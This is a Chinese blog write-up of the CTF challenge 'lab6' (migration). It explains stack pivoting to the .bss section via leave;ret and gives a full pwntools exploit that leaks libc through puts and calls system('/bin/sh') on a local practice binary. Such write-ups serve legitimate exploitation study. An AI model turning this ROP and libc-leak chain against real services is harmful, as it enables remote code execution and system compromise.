lab6

作者: n0va | 来源:发表于2019-01-22 15:39 被阅读0次

从IDA我们可以看到,main函数只能调一次,那么就用不了ret2libc了,接下来算出溢出的空间只有20个字节(这里96是被我改过的,原题大小是0x40)

image.png

checksec:

image.png

溢出的空间是不够用来构造rop链的,那么就要用到栈迁移了,思路是:
先利用溢出执行一次read函数,把我们接下来要执行的rop链写到bss段去,利用leave将ebp跳转到bss段上去,让程序 当成栈去执行,从而达到栈迁移的目的
找到对应的gadget就可以开始写exp了
exp:

#-*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF('./migration')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = elf.libc
system_libc = libc.symbols['system']
print "system_libc :" + hex(system_libc)
puts_plt = elf.plt['puts']
print "puts_plt :" + hex(puts_plt)
puts_got = elf.got['puts']
print "puts_got :" + hex(puts_got)
puts_libc = libc.symbols['puts']
print "puts_libc :" + hex(puts_libc)
read_plt = elf.plt['read']
print "read_plt :" + hex(read_plt)
binsh = libc.search("/bin/sh").next()
print "binsh :" + hex(binsh)
leave_ret = 0x08048418
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
# pop_ebp = 0x0804856b
pop_ebx = 0x0804836d
#调用 read 函数往 buf1 写入"/bin/sh"(不明白的一点,为什么第一个参数是0,第一个参数不该是指向"/bin/sh"的一个指针吗?)
#read的第一个参数为0指的是标准输入流也就是键盘,在脚本里面的键盘就是payload,也就是下一个senndline(payload)就是读入的内容 
payload = "A" * 40
payload += p32(buf1) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf1) + p32(0x100)
p.recvuntil(" :\n")
# gdb.attach(p)
pause()
p.send(payload)
# pause()
#打印出puts的真实地址 ,然后继续调用 read 函数
payload = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)
p.send(payload)
# pause()
#接收打印的puts真实地址 
puts_addr = u32(p.recv(4))
print "puts_addr :" + hex(puts_addr)
#算偏移
offset = puts_addr - puts_libc
system_addr = offset + system_libc
binsh_addr = offset + binsh
payload = p32(0) + p32(system_addr) + "bbbb" + p32(binsh_addr)
p.send(payload)
p.interactive()
# 0xf7df9ca0

这里盗来23R3F师傅的一张图来理解栈迁移的过程

image.png

相关文章

  • Lab6

    Lab6 report 练习0:填写已有实验 用meld对比修改了以下文件: 其中需要对trap.c和proc.c...

  • lab6

    从IDA我们可以看到,main函数只能调一次,那么就用不了ret2libc了,接下来算出溢出的空间只有20个字节(...

  • OS lab6

    Ex1 syscall从time.h中一共只有三个函数一个个试过来也行了 Ex 5Allocate a regio...

  • 操作系统实验:Lab6 调度器

    清华大学操作系统Lab6实验报告课程主页:http://os.cs.tsinghua.edu.cn/oscours...

  • 清华大学操作系统课程 ucore Lab6 调度器 实验报告

    操作系统 Lab6 调度器 实验报告 课程信息所在网址:https://github.com/chyyuu/os_...

  • 1.28第六条咸鱼

    lab6 | | migration | 基本上是知识盲区令人头秃 这道题是这样的通过 限制了我们只能利用一次...

  • mit6.828-lab6 网络

    lab6是实现网络部分,代码见 这里 1 QEMU 虚拟网络 实验中将使用到QEMU的用户模式网络栈,因为它不需要...

  • 学习Kaldi:中文Aishell项目(上)

    这篇文章是学习Kaldi的第二篇。对应SUSTech CS310课程的Lab6和Lab7。第一篇里探索了如何对to...

  • HITCON-Training-master lab6 wp

    题目的防护机制: 简单运行了下,程序输出了一句话,然后等待我们输入ida反编译: 程序逻辑很清楚,先判断count...

  • COMP9311 Database Systems Lab6

    练习使用plpgsql建立trigger规则。使用的材料与lab5一致: schema文件如下: What is ...

网友评论

      本文标题:lab6

      本文链接:https://www.haomeiwen.com/subject/sioljqtx.html